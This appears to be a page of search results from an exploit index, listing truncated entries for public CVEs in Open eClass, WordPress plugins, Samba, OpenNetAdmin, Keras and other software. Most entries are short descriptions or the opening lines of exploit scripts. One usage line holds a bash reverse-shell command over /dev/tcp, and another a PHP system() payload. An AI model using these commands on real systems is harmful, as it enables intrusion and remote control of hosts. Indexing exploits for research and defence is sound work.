1284922 matches found
Open eClass 3.15 - Remote Code Execution (CVE-2024-26503)
CVE-2024-26503: authenticated unrestricted file upload in /modules/admin/certbadge.php stores a PHP webshell under /courses/userprogressdata/badgetemplates/. !/usr/bin/env python3 -- coding: utf-8 -- """Open eClass CVE-2024-26503 authenticated certbadge icon upload RCE.""" from future import...
CVE-2023-26326_Buddyform_exploit
usage: python exploit.py "/wp-admin/admin-ajax.php" 'bash -c "bash -i & /dev/tcp// 0&1"' Originally, CVE-2023–26326 required gadget chains to exploit it as a deserialization vulnerability. This method is no longer feasible on newer WordPress sites running on PHP 8+; however, by chaining with...
DEBIAN-CVE-2026-116612
A flaw was found in GStreamer Editing Services gst-editing-services. A GES project file can embed an arbitrary GStreamer pipeline description as an effect definition. When such a file is loaded, either explicitly by an editing application or automatically by a media player or file-manager...
CVE-2026-116612
A flaw was found in GStreamer Editing Services gst-editing-services. A GES project file can embed an arbitrary GStreamer pipeline description as an effect definition. When such a file is loaded, either explicitly by an editing application or automatically by a media player or file-manager...
CVE-2026-107091
An issue in HUION Inspiroy Frego S L310 Windows Driver 20.0.1.118 allows a local attacker to execute arbitrary code via the HUION driver installer DLL-loading logic...
w3-total-cache-cve-2013-2010
w3-total-cache-cve-2013-2010 Remote code execution running on w3 total cache cve 2013-2010 Usage: python3 w3tcrceexploit.py -u http://example.com -p "system'whoami';" Output: Targeting: http://example.com + Payload sent successfully. + Check the target for execution of the payload. import request...
test_iconv
Testing CVE-2024-2961 V1 - Under Analysis This repository contains a C program to test for CVE-2024-2961, which involves a buffer overflow vulnerability in the iconv function of the GNU C Library glibc. Due to the structure of PHP’s heap, this overflow can be exploited to modify part of a free li...
CVE-2022-24442
CVE-2022-24442: FreeMarker Server-Side Template Injection in JetBrains YouTrack By inserting malicious content in the Notification FTL files, an attacker may perform SSTI Server-Side Template Injection attacks, which can leverage FreeMarker exposed objects to bypass restrictions and obtain RCE...
CVE-2023-47459
CVE-2023-47459 Description A vulnerability was discovered in Knovos Discovery v.22.67.0 that allows a remote attacker to access confidential information using the components: /DiscoveryReview/Service/CaseManagement.svc/GetProductSiteName,...
CVE-2022-46169
CVE-2022-46169 CVE-2022-46169 is a security vulnerability found in Cacti, a network monitoring and management software. This vulnerability allows an attacker to remotely exploit the system without authentication by sending a specially crafted HTTP request. By taking advantage of this vulnerabilit...
CVE-2022-37205
CVE-2022-37205 CVE-2022-37205 POC Suggested description RESERVED JFinal CMS 5.1.0 is affected by: SQL Injection. These interfaces do not use the same component, nor do they have filters, but each uses its own SQL concatenation method, resulting in SQL injection. Additional Information...
CVE-2022-41924
CVE-2022-41924 POC 👉 https://oalieno.tw/posts/tailscale-rce...
CVE-2023-6933
Introduction to CVE-2023-6933 Vulnerability Description The "Better Search Replace" plugin for WordPress exhibits a critical vulnerability known as PHP Object Injection. This security flaw is present in all versions up to and including 1.4.4. It arises from the deserialization of untrusted input,...
CVE-2024-41651
Blind SSRF to RCE Exploit - PrestaShop 8.1.7 This document outlines a Blind SSRF to RCE exploit on a fresh PrestaShop 8.1.7 docker installation. Prerequisites Ensure you have at least an outdated module installed, for example: psfacetedsearch Download the original package: Download psfacetedsearc...
page-table-exploitation
page-table-exploitation A demonstration of how page tables can be used to run arbitrary code in ring-0 and lead to a privesc. Uses CVE-2016-7255 as an example...
jboss-deserialization
JBoss Insecure Deserialization to RCE via CVE-2017-12149. JBoss Insecure Deserialization - RCE Exploitation Lab. The idea here is to setup a lab with an old JBoss version 7.0 in order to exploit the vulnerability. We can use Docker to facilitate all the process. For this, we're gonna need an Orac...
TensorFlow CVE-2024-3660 Keras H5 Lambda RCE
CVE-2024-3660: crafted Keras .h5 with Lambda layer deserializes marshal code via legacy loadmodel path when ML service loads uploads. !/usr/bin/env python3 -- coding: utf-8 -- """TensorFlow/Keras CVE-2024-3660 malicious H5 Lambda layer RCE.""" from future import annotations import codecs import...
Samba CVE-2007-2447 usermap script RCE
CVE-2007-2447 Samba 3.0.20: SMB Session Setup username is passed unsanitized to username map script when configured — shell injection. !/usr/bin/env python3 -- coding: utf-8 -- """Samba CVE-2007-2447 username map script command injection.""" from future import annotations import socket import tim...
OpenNetAdmin CVE-2019-25065 xajax RCE
CVE-2019-25065 OpenNetAdmin = 18.1.1: unauthenticated command injection via xajaxargs in windowsubmit requests. !/usr/bin/env python3 -- coding: utf-8 -- """OpenNetAdmin CVE-2019-25065 unauthenticated xajax command injection.""" from future import annotations import re import time from kittysploi...